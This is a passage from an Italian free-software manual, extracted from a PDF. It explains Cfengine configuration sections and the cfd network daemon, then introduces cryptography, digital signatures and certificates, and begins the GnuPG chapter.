specificando eventualmente le caratteristiche necessarie. Se i file in questione mancano, vengono creati (vuoti); se le caratteristiche non corrispondono, queste vengono modificate per quanto possibile. Le opzioni più importanti sono quelle che definiscono i permessi e la proprietà, come descritto nella sezione Tuttavia è importante anche la possibilità di controllare che i file in questione non siano stati modificati Opzione checksum checksum=md5 L opzione checksum (a cui può essere assegnato solo il valore md5 ) consente di richiedere la verifica dei file attraverso un codice di controllo. Inizialmente, questo codice di controllo deve essere accumulato da qualche parte e precisamente si tratta del file dichiarato nella variabile checksumdatabase nella sezione di controllo ( control ).

136 2120 Cfengine: sezioni di uso comune Opzione recurse recurse={n_livelli inf} Anche se si sta facendo riferimento principalmente a file, è consentito indicare directory intere, specificando il livello di ricorsione attraverso l opzione recurse, già descritta in precedenza. La sezione files è orientata ai file. Tuttavia, se si richiede l impostazione di permessi specifici, questi potrebbero interferire con quelli delle directory, nel momento in cui si fa riferimento a queste. Per risolvere il problema, Cfengine aggiunge i permessi di attraversamento necessari alle directory Sezione links links: [espressione_classe::] collegamento {- +}>[!] oggetto_originale [opzioni] La sezione links serve per creare, aggiornare e sistemare dei collegamenti simbolici. In generale si distingue tra collegamenti singoli o collegamenti multipli. La differenza sta nell uso dell operatore -> oppure +>. I collegamenti singoli riguardano un solo collegamento simbolico. Se il collegamento esiste già, viene verificato che corrisponda a quanto descritto nella direttiva, altrimenti si ottiene una segnalazione di errore. /usr/local -> /mia_dir/usr/local L esempio mostra una direttiva in cui si vuole che sia creato e mantenuto il collegamento simbolico /usr/local, che deve puntare alla directory reale /mia_dir/usr/local/. Se il collegamento simbolico esiste già ma non corrisponde, oppure si tratta di un file, si può imporre la sua correzione con l aggiunta del punto esclamativo: /usr/local ->! /mia_dir/usr/local In tal caso, se /usr/local fosse un file, il suo nome verrebbe modificato in /usr/ local.cfsaved e il collegamento potrebbe così essere sistemato. I collegamenti multipli si fanno indicando una directory di destinazione e una directory di origine, come nell esempio seguente: /usr/local/bin +> /mia_dir/usr/local/bin In questi casi si vogliono generare nella directory /usr/local/bin/ tanti collegamenti simbolici quanti sono i file nella directory /mia_dir/usr/local/bin/. Anche nel caso di collegamenti multipli si può usare il punto esclamativo per richiedere la correzione necessaria al completamento dell operazione. In generale, non vengono eliminati i collegamenti riferiti a file o directory non più esistenti. Per ottenere questo risultato, che potrebbe essere particolarmente utile in presenza di collegamenti multipli, occorre usare l opzione -L nella riga di comando dell eseguibile cfengine.

137 Cfengine: sezioni di uso comune 2121 La creazione di un collegamento simbolico può richiedere la creazione delle directory che lo precedono. In condizioni normali ciò avviene automaticamente, senza bisogno di preoccuparsene Opzione type type={hard relative absolute} La sezione links è pensata fondamentalmente per gestire collegamenti simbolici. Tuttavia, con questa opzione è possibile richiedere la creazione di collegamenti fisici, oltre alla possibilità di specificare il tipo di collegamento simbolico che si vuole ottenere: assoluto o relativo. Indipendentemente dalle possibilità del sistema operativo, Cfengine non può creare dei collegamenti fisici che puntano a directory Opzione recurse recurse={n_livelli inf} Dal momento che è consentita la generazione di collegamenti multipli, diventa opportuna la possibilità di specificare il livello di ricorsione attraverso l opzione recurse, già descritta in precedenza Sezione processes processes: [espressione_classe::] "espressione_regolare" [opzioni] La sezione processes serve a individuare dei processi in funzione, attraverso un analisi di quanto restituito dal comando ps del sistema operativo. Lo scopo può essere di due tipi: inviare un segnale al processo o ai processi individuati, oppure eseguire un comando per riavviarli se questi risultano mancanti. Si deve osservare che ogni direttiva individua uno o più processi in base a un espressione regolare, delimitata tra virgolette. In tal modo si può fare riferimento a tutto ciò che appare nel rapporto generato dal comando ps, non soltanto il nome del processo. Tuttavia, ciò significa anche che occorre predisporre bene queste espressioni regolari, per non incorrere in errori Opzione signal signal=nome_del_segnale attraverso l opzione signal si richiede espressamente l invio del segnale specificato. In mancanza di questa, non si invia alcun segnale. Il nome da assegnare dipende dal sistema operativo utilizzato, anche se in generale si tratta di nomi abbastanza standardizzati. processes: "inetd" signal=hup L esempio mostra il caso in cui si cerchi il processo individuato dalla stringa inetd, per inviargli il segnale SIGHUP.

138 2122 Cfengine: sezioni di uso comune Opzione restart restart "comando_di_shell " Se non si trova una corrispondenza con l espressione regolare indicata, si può ottenere l avvio di un comando che presumibilmente serve ad avviare il processo relativo. Per questo si utilizza l opzione restart che, come si vede dal modello sintattico, non utilizza il simbolo = per l assegnamento Opzione matches matches=[> <]n È possibile individuare una quantità di processi che corrispondono all espressione regolare di partenza, definendo la quantità attesa. Se si usano gli operatori < e >, ci si aspettano più di n processi, o meno di n processi, perché la condizione si avveri. Diversamente si attendono esattamente n processi. Di solito, questa opzione si abbina soltanto alla richiesta di un avvertimento, attraverso l opzione action=warn. processes: "telnetd" matches=<7 action=warn Questo esempio mostra il caso in cui si voglia essere avvisati se si trovano sette o più processi corrispondenti alla stringa telnetd. Può sembrare strana l interpretazione dei simboli > e <. In realtà si deve vedre la cosa dal lato opposto: con > ci si aspetta che i processi siano meno della quantità indicata, perché non debba essere eseguita l azione; nello stesso modo, con < ci si aspetta che i processi siano di più di quanto indicato perché l azione non sia eseguita Opzione action action={signal do warn} L opzione action stabilisce il da farsi, quando si verificano le condizioni richieste per intervenire. Le parole chiave signal o do richiedono espressamente l invio del segnale stabilito con l opzione signal ; la parola chiave warn richiede solo una segnalazione di avvertimento Sezione shellcommands shellcommands: [espressione_classe::] "comando " [opzioni] La sezione shellcommands serve a inserire dei comandi di shell, debitamente delimitati tra virgolette. Di solito, non si utilizzano le opzioni, anche se in situazioni particolari possono essere utili.

139 Cfengine: sezioni di uso comune Sezione tidy tidy: [ espressione_classe::] directory pattern=modello [altre_opzioni] La sezione tidy è fatta per eliminare dei file non desiderati. Come si può osservare dal modello sintattico, le direttive iniziano dalla definizione di una directory di partenza, per cui diventa necessario specificare i file da eliminare attraverso un modello con l opzione pattern Opzione pattern pattern=modello Attraverso l opzione pattern si specifica il file o i file da prendere in considerazione nella directory di partenza. Il modello si può realizzare utilizzando i soliti simboli speciali, * e?, con il significato consueto: qualunque stringa, oppure un solo carattere Opzione recurse recurse={n_livelli inf} È consentita la cancellazione di file anche attraverso le sottodirectory, utilizzando l opzione recurse, come già è stato mostrato in precedenza Opzione age age=n_giorni L opzione age consente di specificare quanto tempo devono avere i file per poter essere cancellati. Se il tempo è stato raggiunto o superato, si ottiene la cancellazione. Questo tempo si riferisce in modo predefinito alla data di accesso, ma può essere cambiato con l opzione type. tidy: /tmp pattern=* recurse=inf age=1 /var/tmp pattern=* recurse=inf age=7 L esempio mostra un caso molto semplice, in cui si vuole ripulire il contenuto delle directory /tmp/ e /var/tmp/, per i file che sono vecchi rispettivamente un giorno e sette giorni Opzione type type=[ctime mtime atime] La vecchiaia di un file può essere valutata in base alla data di «creazione», intesa come cambiamento di inode, di modifica o di accesso, assegnando rispettivamente le parole chiave ctime, mtime o atime all opzione type. Questo serve per stabilire il modo corretto di interpretazione del valore assegnato all opzione age.

140 2124 Cfengine: sezioni di uso comune Opzione rmdirs rmdirs=[true false all sub] In condizioni normali, non si ottiene la cancellazione delle directory. Per questo, occorre usare l opzione rmdirs, a cui si assegnano le parole chiave che si vedono nel modello sintattico. In condizioni normali, è come se fosse assegnata la parola chiave false, che impedisce la cancellazione. Se si richiede la cancellazione, si elimina anche la directory di partenza, corrispondente al modello richiesto. Al contrario, assegnando la parola chiave sub, si preserva la directory di partenza. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

141 Cfengine attraverso la rete Capitolo 194 Cfengine consente anche un utilizzo attraverso la rete, per mezzo del demone cfd, che viene avviato nell elaboratore che offre il proprio servizio. L utilizzo più semplice di questa possibilità di Cfengine sta nella copia di file attraverso la rete, per sincronizzare gli elaboratori clienti. Per la precisione, questo particolare è l unica cosa che viene mostrata qui, in questo capitolo Configurazione e avvio del demone Il servizio relativo al demone cfd prevede l accesso alla porta TCP 5308, che pertanto non è privilegiata e consente l avvio del demone anche senza i privilegi dell utente root, se questo può essere utile per qualche motivo. Nel file /etc/services dovrebbe esserci pertanto una riga simile a quella seguente: cfengine 5308/tcp Per funzionare, il demone cfd richiede la presenza del file cfd.conf, nella directory corrente nel momento dell avvio del demone, che ha una struttura simile a quella di cfengine.conf. Oltre a questo file essenziale, occorre tenere presente che il demone tiene in considerazione anche il contenuto dei file /etc/hosts.allow e /etc/hosts.deny, per controllare gli accessi. Una volta predisposto il sistema di configurazione, basta avviare il demone cfd, con i privilegi dell utente root, se necessario, oppure con i privilegi di un utente comune. # cfd Alcune opzioni del demone cfd sono molto utili per consentire l analisi del file di configurazione e per poter tenere sotto controllo ciò che avviene effettivamente durante la connessione. Queste opzioni sono riepilogate nella tabella Opzione Tabella Elenco delle opzioni essenziali di cfd. Descrizione -h --help Elenca brevemente le opzioni disponibili. -d --debug Rimane in primo piano e mostra ciò che accade. -v --verbose Mostra informazioni dettagliate. -p --parse-only Si limita a scandire il file di configurazione. Può essere interessante il controllo della configurazione attraverso l opzione -p, unita opportunamente all opzione -v. Inoltre, per verificare le connessioni, soprattutto alla ricerca delle motivazioni per cui qualcosa non funziona come si vorrebbe, conviene utilizzare l opzione -d, sempre in combinazione con -v. # cfd -d -v 2125

142 2126 Cfengine attraverso la rete Configurazione essenziale di cfd.conf Il file cfd.conf ha una vaga somiglianza con il file di configurazione di un cliente normale di Cfengine. In particolare, ci sono le sezioni e possono essere presenti le classi, solo che hanno valore esclusivamente nei confronti dell elaboratore in cui si trova a funzionare il demone. Generalmente, è probabile che non si faccia uso di classi in un file cfg.conf e qui non si mostrano esempi in tal senso. La sintassi semplificata ed essenziale di questo file, viene mostrata dal modello seguente. Si tenga presente che non vengono mostrate tutte le direttive, ma solo quelle che devono essere conosciute necessariamente. control: [domain = ( dominio )] [maxconnections = ( numero_massimo_di_connessioni_indipendenti )] [allowconnectionsfrom = ( numero_ip [numero_ip]... ) ] [denyconnectionsfrom = ( numero_ip [numero_ip]... ) ] [allowmultipleconnectionsfrom = ( numero_ip [numero_ip]... ) ] [logallconnections = ( true false )] admit: grant: file_o_directory... nodi_indicati_con_caratteri_jolly deny: file_o_directory... nodi_indicati_con_caratteri_jolly Si può osservare la presenza di una sezione di controllo, simile a quella dei clienti Cfengine. Questa sezione può anche risultare vuota. Le sezioni admit (o grant ) e deny, permettono di stabilire l accessibilità di file e di directory, a degli elaboratori identificati per nome, anche in modo parziale attraverso caratteri jolly. Si intende che la sezione admit o grant serva a elencare i file e le directory accessibili, mentre la sezione deny serve a escludere successivamente parte di quanto precedentemente concesso. Nella sezione di controllo, le direttive maxconnections, allowconnectionsfrom, denyconnectionsfrom e allowmultipleconnectionsfrom, limitano o concedono gli accessi attraverso l indicazione di un elenco di indirizzi IP. In generale, questo può essere un mezzo ulteriore di controllo di sicurezza per gli accessi, dal momento che spesso è sufficiente l uso delle sezioni admit e deny. In particolare, ogni cliente Cfengine che accede, ha la possibilità di aprire una sola connessione, mentre con la direttiva allowmultipleconnectionsfrom è possibile autorizzare un accesso multiplo agli indirizzi indicati. L uso delle altre direttive indicato dovrebbe essere intuitivo; inoltre, nella sezione di controllo è possibile dichiarare delle variabili, nello stesso modo della configurazione dei clienti Cfengine. È importante ricordare che i percorsi di cui si concede l accesso, devono essere reali, perché i collegamenti simbolici non vengono presi in considerazione. Questo tipo di errore lo si può individuare utilizzando l opzione -d quando si avvia cfd. A titolo di esempio viene mostrato un caso molto semplice di configurazione, in cui si concede l accesso alle directory /usr/local/file_pubblici1/ e /usr/local/ file_pubblici2/, creando appositamente due variabili per semplificarne l indicazione; inoltre si concede l accesso anche ai file /etc/passwd e /etc/group. Per la precisione, la directory /usr/local/file_pubblici1/ risulta accessibile a tutti, mentre /usr/local/ file_pubblici2/ è accessibile solo ai domini *.brot.dg e *.mehl.dg; inoltre, i due file

143 Cfengine attraverso la rete 2127 /etc/passwd e /etc/group sono accessibili esclusivamente dal dominio *.brot.dg. Infine, per qualche motivo, si esclude l accesso alla directory /usr/local/file_pubblici2/ particolare/ al dominio *.mehl.dg. Ogni cliente può aprire una sola connessione e sono consentiti un massimo di 10 accessi simultanei. control: pubblici1 = ( /usr/local/file_pubblici1 ) pubblici2 = ( /usr/local/file_pubblici2 ) maxconnections = ( 10 ) admit: $(pubblici1) * $(pubblici2) *.brot.dg *.mehl.dg /etc/passwd *.brot.dg /etc/group *.brot.dg deny: $(pubblici2)/particolare *.mehl.dg Filosofia del sistema di distribuzione di Cfengine È il caso di osservare che, contrariamente a Rsync (capitolo 171), il cliente Cfengine contatta il servente per ottenere qualcosa e non per inviare lì un file. Quando la trasmissione di un file è sottoposta al confronto di un codice di controllo, è il cliente Cfengine che invia il suo codice di controllo al servente, il quale verifica la necessità o meno di trasmettere il file aggiornato. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

144 2128 Cfengine attraverso la rete

145 Parte xxxvii Riservatezza e certificazione delle comunicazioni 195 Introduzione ai problemi legati alla crittografia e alla firma elettronica Crittografia Firma elettronica, o firma digitale Gestione delle chiavi, certificazione e fiducia Cosa può succedere se Servizi per la diffusione delle chiavi pubbliche Problemi legali Riferimenti GnuPG: GNU Privacy Guard Organizzazione generale Creazione delle chiavi e del certificato di revoca Scambio di chiavi pubbliche Utilizzo della crittografia Firma di documenti Gestione della fiducia Accesso a un servente di chiavi Riferimenti Autorità di certificazione e certificati Quadro generale Certificato X Riferimenti Connessioni cifrate e certificate Fasi astratte dell instaurarsi di una connessione cifrata e certificata SSL/TLS Introduzione al protocollo SECSH Riferimenti Introduzione a OpenSSL Collocazione e impostazione Procedimento per ottenere un certificato Cenni sulla configurazione di OpenSSL Simulazione dell allestimento e del funzionamento di un autorità di certificazione

146 199.5 Riferimenti Applicazioni che usano OpenSSL Aggiornare l elenco dei servizi Opzioni comuni Certificati dei servizi Apache-SSL Telnet-SSL SSLwrap Stunnel LSH Attivazione del servizio LSH Cliente del servizio LSH Riferimenti OpenSSH Protocolli Preparazione delle chiavi Verifica dell identità dei serventi Autenticazione RHOST Autenticazione RHOST sommata al riconoscimento della chiave pubblica Autenticazione basata sul controllo della chiave pubblica Autenticazione normale Servente OpenSSH Cliente OpenSSH Verifica del funzionamento di un servente OpenSSH X in un tunnel OpenSSH Creazione di un tunnel cifrato generico con OpenSSH Installazione Riferimenti

147 Capitolo 195 Introduzione ai problemi legati alla crittografia e alla firma elettronica La comunicazione meccanica (elettronica) pone dei problemi legati alla riservatezza e alla facilità con cui questa può essere contraffatta. Per fare un esempio, un messaggio di posta elettronica può essere intercettato facilmente da parte di chiunque abbia un accesso privilegiato ai nodi di rete attraverso cui transita; nello stesso modo, un messaggio può essere manomesso, anche senza lasciare tracce apparenti. Per risolvere questi problemi si possono usare dei metodi di cifratura dei dati e per evitare contraffazioni si possono usare delle firme elettroniche (o firme digitali). Questo capitolo cerca di spiegare i concetti essenziali inerenti a queste procedure Crittografia La crittografia è una tecnica attraverso la quale si rendono illeggibili i dati originali, permettendo al destinatario di recuperarli attraverso un procedimento noto solo a lui. Si distinguono due forme fondamentali: la crittografia simmetrica, ovvero a chiave segreta, e quella asimmetrica, nota meglio come crittografia a chiave pubblica. La crittografia simmetrica è quella più semplice da comprendere; si basa su un algoritmo che modifica i dati in base a una chiave (di solito una stringa di qualche tipo) che permette il ripristino dei dati originali soltanto conoscendo la stessa chiave usata per la cifratura. Per utilizzare una cifratura simmetrica, due persone si devono accordare sull algoritmo da utilizzare e sulla chiave. La forza o la debolezza di questo sistema, si basa sulla difficoltà o meno che ci può essere nell indovinare la chiave, tenendo conto anche della possibilità elaborative di cui può disporre chi intende spiare la comunicazione. Figura Crittografia simmetrica cifratura decifratura Documento "%&&%//() Documento bla bla =9(ui&$%! bla bla bla bla -----> chiave "!=) > chiave -----> bla bla... simmetrica... simmetrica La crittografia a chiave pubblica è un metodo molto più complesso, che però ha il vantaggio di essere più pratico quando riguarda la comunicazione con molte persone. Il principio di funzionamento si basa sul fatto che esistono due chiavi complementari, assieme a un algoritmo in grado di cifrare con una chiave e di decifrare utilizzando l altra. In pratica, la cifratura avviene a senso unico attraverso la chiave di cui dispone il mittente di un messaggio, mentre questo può essere decifrato esclusivamente con l altra che possiede solo il destinatario. Le due chiavi vengono chiamate chiave pubblica e chiave privata, attribuendogli implicitamente un ruolo specifico. In pratica, chi vuole mettere in condizione i propri interlocutori di inviare dei messaggi, o altri dati cifrati, che nessun altro possa decifrare, dovrà costruire una propria coppia di chiavi e quindi distribuire la chiave pubblica. Chi vuole inviare informazioni cifrate, può usare la chiave pubblica diffusa dal destinatario, perché solo chi ha la chiave complementare, ovvero la chiave privata, può decifrarle. In questa situazione, evidentemente, la chiave privata deve rimanere segreta a tutti, tranne che al suo proprietario; se venisse trafugata permetterebbe di decifrare i messaggi che fossero eventualmente intercettati. Per questa ragione, il proprietario di una coppia di chiavi asimmetriche deve essere la stessa persona che se le crea. 2131

148 2132 Introduzione ai problemi legati alla crittografia e alla firma elettronica Figura Crittografia a chiave pubblica cifratura decifratura Documento "%&&%//() Documento bla bla =9(ui&$%! bla bla bla bla -----> chiave "!=) > chiave -----> bla bla... pubblica... privata La cifratura può anche essere ibrida, utilizzando in pratica entrambe le tecniche. Per attuarla, di solito si utilizza prima la cifratura simmetrica con una chiave determinata in modo casuale ogni volta: la chiave di sessione. Questa chiave di sessione viene allegata al messaggio, o ai dati trasmessi, cifrandola a sua volta (eventualmente assieme agli stessi dati già cifrati) attraverso il sistema della chiave pubblica, ovvero quello che si basa sulla coppia di chiavi complementari. Il destinatario di questi dati dovrà fare il percorso inverso, decifrando il documento con la sua chiave privata, quindi decifrandolo nuovamente utilizzando la chiave di sessione che ha ottenuto dopo il primo passaggio Firma elettronica, o firma digitale La firma elettronica ha lo scopo di certificare l autenticità dei dati. Per ottenere questo risultato occorre garantire che l origine di questi sia autentica e che i dati non siano stati alterati. Per dimostrare che un documento elettronico non è stato alterato, si utilizza la tecnica del codice di controllo, che in pratica è un numero (o una stringa), che si determina in qualche modo in base al contenuto del documento stesso. L algoritmo che genera questo codice di controllo è tanto più buono quanto è minore la probabilità che due documenti diversi generino lo stesso codice di controllo. Questo valore è una sorta di «riassunto» matematico del documento elettronico originale, che può essere fornito a parte, attraverso un canale ritenuto sicuro, per permettere al destinatario di verificare che il documento è giunto intatto, ricalcolando il codice di controllo che deve risultare identico. 1 Figura Trasmissione di un documento abbinato a un codice di controllo separato Documento Documento... Invio attraverso >/////////> > la rete V V Codice di Codice di Codice di controllo controllo == controllo calcolato ^ Canale sicuro >///////////////> La firma elettronica deve poter dimostrare che l origine è autentica e che il codice di controllo non è stato alterato. Evidentemente, per non creare un circolo vizioso, serve qualcosa in più. Per questo si utilizza di solito la cifratura del codice di controllo assieme ai dati, oppure solo del codice di controllo, lasciando i dati in chiaro. Per la precisione, si utilizza la tecnica delle chiavi complementari, ma in questo caso, le cose funzionano in modo inverso, perché chi esegue la 1 Nella terminologia normale che riguarda i sistemi di cifratura dei messaggi, questo codice di controllo è conosciuto come «hash».

149 Introduzione ai problemi legati alla crittografia e alla firma elettronica 2133 firma, deve usare la sua chiave privata (quella segreta), in maniera tale che tutti gli altri possano decifrare il codice di controllo attraverso la chiave pubblica. Naturalmente, una firma elettronica di questo tipo può essere verificata solo se si può essere certi che la chiave pubblica attribuita al mittente che ha firmato il documento, appartenga effettivamente a quella persona. In altre parole, un impostore potrebbe diffondere una chiave pubblica corrispondente a una chiave privata di sua proprietà, indicandola come la chiave del signor Tizio, potendo così inviare documenti falsi a nome di questo signor Tizio, che in realtà non ne è il responsabile. Figura Principio di funzionamento della firma elettronica applicata a un documento trasmesso in chiaro Documento Documento > V V Codice di Codice di Codice di controllo Invio attraverso controllo == controllo >------/////////------> calcolato decifrato la rete V ^ Chiave privata Chiave pubblica V Codice di Codice di controllo > controllo cifrato cifrato Gestione delle chiavi, certificazione e fiducia I sistemi crittografici a chiave pubblica richiedono attenzione nell uso di queste chiavi, in particolare è importante la gestione corretta delle chiavi pubbliche appartenenti ai propri corrispondenti. Queste chiavi sono conservate all interno di «portachiavi», di solito distinti a seconda che si tratti di chiavi private o di chiavi pubbliche. Infatti, la chiave privata deve rimanere segreta e va difesa in ogni modo, mentre le chiavi pubbliche non richiedono questa attenzione. I portachiavi in questione sono normalmente dei file, gestiti in modo più o meno automatico dai programmi che si utilizzano per queste cose. A parte il problema di custodire gelosamente la propria chiave privata, bisogna considerare la necessità di verificare che le chiavi pubbliche appartengano effettivamente alle persone a cui sembrano essere attribuite, così si intuisce che il modo migliore per questo è quello di ottenere personalmente da loro le rispettive chiavi pubbliche. Per semplificare un po le cose, si introduce la possibilità di controfirmare le chiavi pubbliche che si ritiene siano di provenienza certa; questa firma ha il valore di una certificazione, che conta in funzione della credibilità di chi la dà. Le chiavi pubbliche firmate, portano con sé l informazione di chi le ha firmate, ma la verifica della firma si può fare solo possedendo la chiave pubblica di questa persona. In pratica, il meccanismo della controfirma permette di creare una rete di fiducia, attraverso la diffusione di chiavi pubbliche firmate da altre persone: chi è sicuro della chiave pubblica di una persona, della quale ha anche fiducia, può decidere di fidarsi delle chiavi pubbliche che questa ha firmato a sua volta.

150 2134 Introduzione ai problemi legati alla crittografia e alla firma elettronica Una chiave pubblica contiene anche le informazioni che servono ad attribuirla al suo proprietario; di solito si tratta del nome e cognome, assieme a un indirizzo di posta elettronica. Per garantire che questi dati allegati non siano stati alterati, il proprietario delle sue stesse chiavi può firmare la sua chiave pubblica. Ciò serve a garantire che quella chiave pubblica è collegata correttamente a quei dati personali, anche se non può garantire che sia stata creata effettivamente da quella persona. Figura Verifica di un certificato, ovvero di una chiave pubblica controfirmata Chiave pubblica di Tizio > Codice di -----> Sono > Sì, allora + informazioni di controllo uguali? è da ritenere identificazione ^ che la chiave pubblica chiave appartenga firma di Caio -----> pubblica ----> Codice di effettivamente di Caio controllo a Tizio decifrato firma di Certificato Quando l uso dei sistemi crittografici a chiave pubblica diventa una pratica regolata attraverso le leggi, soprattutto per ciò che riguarda la firma elettronica, diventa indispensabile l istituzione di un autorità in grado di garantire e verificare l autenticità delle chiavi pubbliche di ognuno. Nello stesso modo, in mancanza di una tale istituzione, quando queste tecniche vengono usate per scopi professionali, diventa necessario affidarsi alla certificazione fatta da aziende specializzate in questo settore, che hanno la credibilità necessaria. Tecnicamente si parla di autorità di certificazione, che nella documentazione tecnica inglese si indica con l acronimo «CA»: Certificate authority. È l autorità di certificazione che stabilisce quali siano i dati di identificazione che devono accompagnare la chiave nel certificato che si vuole ottenere. Anche in presenza di un autorità di certificazione delle chiavi, la coppia di chiavi asimmetriche dovrebbe essere creata esclusivamente dal suo titolare (il suo proprietario), che solo così potrebbe essere effettivamente l unico responsabile della segretezza della sua chiave privata. Tornando alle situazioni pratiche, la verifica di una chiave pubblica può essere semplificata attraverso l uso di un impronta digitale. Si tratta di un altro codice di controllo calcolato su una chiave pubblica, che ha la proprietà di essere ragionevolmente breve, tanto da poter essere scambiato anche su un foglio di carta. Quando due persone vogliono scambiarsi le chiavi pubbliche personalmente, al posto di farlo realmente, possono limitarsi a scambiarsi l impronta digitale della chiave, in modo da poter poi verificare che la chiave pubblica avuta attraverso i canali normali corrisponde effettivamente a quella giusta.

151 Introduzione ai problemi legati alla crittografia e alla firma elettronica 2135 Figura Impronta digitale della chiave pubblica canale Chiave //////// > Chiave pubblica non sicuro pubblica V Impronta digitale sono uguali? V canale Impronta //////// > Impronta digitale sicuro digitale Difesa della chiave privata Data l importanza che ha la segretezza della chiave privata, è normale che i sistemi crittografici prevedano la protezione di questa informazione attraverso una parola d ordine. In generale, viene data la facoltà di lasciare la chiave privata in chiaro, o di cifrarla attraverso una stringa, la parola d ordine, che in questo contesto particolare è conosciuta meglio come passphrase. L utilizzo di una chiave privata cifrata si traduce in pratica nella necessità, ogni volta che serve, di inserire il testo utilizzato per cifrarla. L utilizzo di chiavi private protette in questo modo, è indispensabile in un sistema multiutente, in cui l amministratore di turno può avere accesso a tutto quello che vuole nel file system; dall altra parte, in questo modo si riduce il pericolo che qualcun altro possa usare una chiave privata trafugata Certificati: scadenza e revoca Dovrebbe essere chiaro, ormai, che il file contenente la chiave pubblica e i dati identificativi del suo titolare, assieme a una o più firme di certificazione, è un certificato. Come nei certificati normali, quando le informazioni che vengono attestate in questo modo non sono definitive per loro natura (si pensi all indirizzo di posta elettronica che può cambiare anche molto spesso), è importante prevedere una scadenza tra i dati che compongono il certificato stesso. Oltre a questo, ci deve essere la possibilità di revocare un certificato prima della sua scadenza normale: sia per la possibilità che i dati relativi siano cambiati, sia per premunirsi in caso di furto della chiave privata. La revoca di un certificato si ottiene attraverso un certificato di revoca. A seconda del sistema crittografico che si utilizza, il certificato di revoca può essere predisposto dalla stessa persona che si costruisce le chiavi, oppure può essere compito dell autorità di certificazione che si occupa di rilasciare i certificati. Il problema verrà ripreso più avanti, nei prossimi capitoli.

152 2136 Introduzione ai problemi legati alla crittografia e alla firma elettronica Cosa può succedere se... È il caso di soffermarsi sul significato pratico di alcune cose che possono succedere, in modo da capire meglio l importanza di alcuni aspetti che riguardano la crittografia a chiave pubblica. Se si perde la chiave privata, non si possono più decifrare i messaggi ricevuti dagli interlocutori, quando questi li hanno cifrati con la chiave pubblica relativa; inoltre non si possono decifrare più nemmeno quelli che sono stati ricevuti in passato. Se qualcuno ruba una copia della chiave privata, questa persona può leggere i messaggi cifrati inviati al proprietario di quella chiave e può sostituirsi a quella persona in generale; può anche firmare a suo nome. L unica cosa che si può fare quando si perde la chiave privata, o si sospetta che qualcuno sia riuscito a ottenerne una copia, è la diffusione del certificato di revoca. Se si utilizza una chiave pubblica senza averla verificata, si rischia di far recapitare il messaggio o i dati a una persona diversa da quella che si intende veramente. Infatti, un estraneo potrebbe intercettare sistematicamente le comunicazioni della persona a cui si vuole scrivere o inviare altri dati. In tal modo, questo estraneo riceverebbe dei messaggi che può decifrare con la sua chiave privata, provvedendo poi a cifrarli nuovamente nel modo giusto per inviarli al destinatario reale, in modo che nessuno si accorga dell intercettazione Servizi per la diffusione delle chiavi pubbliche Ci possono essere molti modi di diffondere la propria chiave pubblica, oppure quella di altri, dopo che questa è stata controfirmata. Il metodo standard dovrebbe consistere nell utilizzo di un servente specifico per questo. Normalmente, questi serventi di chiavi (key-server o cert-server) sono collegati tra loro in modo da aggiornarsi a vicenda. Il servizio si limita ad accumulare le chiavi pubbliche che vengono inviate, senza certificare implicitamente la genuinità di queste. Per prelevare una chiave pubblica occorre conoscere il numero di identificazione di questa (si tratta di un numero attribuito automaticamente dal programma che crea la coppia di chiavi), tenendo conto che tale informazione può essere ottenuta dalla stessa persona con la quale si vuole comunicare in modo cifrato, magari perché la aggiunge sistematicamente in coda ai suoi messaggi di posta elettronica. Per accedere a questi serventi di chiavi non si usano i protocolli normali e occorre affidarsi direttamente agli strumenti di gestione della crittografia e delle firme. Il servente a cui si fa riferimento di solito è certserver.pgp.com, comunque non è necessario servirsi proprio di questo. Tenendo conto che di solito i nomi dei nodi che offrono questo tipo di servizio corrispondono a un modello del tipo *.pgp.net, *.pgp.org, oppure.pgp.com, o simili, si potrebbe fare * una ricerca attraverso un motore di ricerca comune Problemi legali L utilizzo di sistemi di comunicazione cifrata potrebbe essere regolato dalle leggi dei paesi coinvolti. Il problema è che bisogna verificare le norme del paese di origine di una trasmissione del genere e anche quelle del paese di destinazione. Per quanto riguarda l Italia, la cosa non è chiara. 2 Questo serve per ricordare che si tratta di una materia delicata; anche se si ritiene di poter utilizzare la crittografia in Italia, bisogna pensarci bene prima di inviare messaggi cifrati all estero, o 2 L affermazione va intesa nel senso che l autore non è in grado di dare un indicazione precisa al riguardo.

153 Introduzione ai problemi legati alla crittografia e alla firma elettronica 2137 di usare altre forme di comunicazione cifrate. Il problema si può porre anche nell ambito della stessa Unione Europea Riferimenti Crittografia < Andrea Colombo, Le nuove tecnologie di crittografia < InterLex, Introduzione alla firma digitale < The GNU Privacy Handbook, 1999 < < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

154 GnuPG: GNU Privacy Guard Capitolo 196 GnuPG 1 è uno strumento per la gestione della crittografia e delle firme elettroniche, compatibile con le specifiche OpenPGP pubblicate nell RFC Rispetto al noto PGP, si tratta di software libero e in particolare non vengono utilizzati algoritmi proprietari. Tuttavia, nonostante queste sue caratteristiche, viene diffuso soltanto attraverso siti europei, a causa delle limitazioni all esportazione poste dal governo degli Stati Uniti Organizzazione generale GnuPG è composto da due eseguibili: gpg e gpgm. Di solito, il secondo viene richiamato dal primo, in base alle necessità, senza che ci sia bisogno di utilizzarlo direttamente. La distinzione in due eseguibili dipende dall esigenza di distinguere le operazioni delicate dal punto di vista della sicurezza, da quelle che non hanno questo problema. Nel primo caso si deve fare uso di memoria «sicura», nel secondo non esiste questo bisogno. Tra le altre cose, da questo problema legato alla memoria dipende la limitazione pratica nella dimensione delle chiavi che si possono gestire. Una volta chiarito che basta utilizzare solo l eseguibile gpg, occorre vedere come sono organizzati gli argomenti nella sua riga di comando: gpg [opzioni] comando [argomenti_del_comando] In pratica, si utilizza gpg esattamente con l indicazione di un comando. Il funzionamento generale può essere definito attraverso le opzioni che precedono tale comando, mentre il comando stesso potrebbe richiedere l indicazione di altri argomenti. 2 Le opzioni «lunghe», cioè quelle che andrebbero indicate con due trattini iniziali, possono essere inserite in un file di configurazione, avendo però l accortezza di eliminare i due trattini. Il file di configurazione di GnuPG è sempre solo personale, il nome predefinito è ~/.gnupg/options e di solito viene creato automaticamente la prima volta che si usa il programma (assieme alla directory che lo precede). Come in molti altri tipi di file del genere, il carattere # viene utilizzato per iniziare un commento, mentre le righe bianche e quelle vuote vengono ignorate nello stesso modo. In particolare, negli esempi che verranno mostrati, si fa riferimento alla situazione tipica, in cui non viene modificato il file di configurazione creato automaticamente e tutto quello che serve deve essere definito attraverso la riga di comando. Come si può intuire, la 